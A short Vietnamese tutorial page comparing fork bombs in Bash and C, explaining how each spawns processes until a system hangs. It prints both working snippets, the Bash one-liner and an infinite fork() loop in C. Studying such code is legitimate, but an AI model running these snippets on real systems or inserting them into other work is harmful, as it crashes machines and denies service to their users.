Computer >> Hướng Dẫn Máy Tính >  >> Lập Trình >> Lập Trình C

So sánh Fork Bomb C và Bash

Fork bomb là tấn công DoS tạo vô số tiến trình khiến hệ thống hết tài nguyên.

Bash Fork Bomb

:(){ :|: & };:

Giải thích: `:` là tên hàm, `{:|:&}` gọi đệ quy và chạy background, `:` cuối gọi hàm.

C Fork Bomb

#include <unistd.h>

int main() {
    while (1) fork();
}

Gọi `fork()` vô hạn trong vòng lặp, tạo tiến trình con không ngừng.

So sánh

  • Bash: ngắn gọn, chạy trực tiếp shell
  • C: cần biên dịch, kiểm soát tốt hơn (có thể thêm delay, limit)
  • Cả hai đều gây DoS, chỉ dùng cho mục đích học tập/kiểm thử

Kết quả

Infinite calls (hệ thống treo/khởi động lại)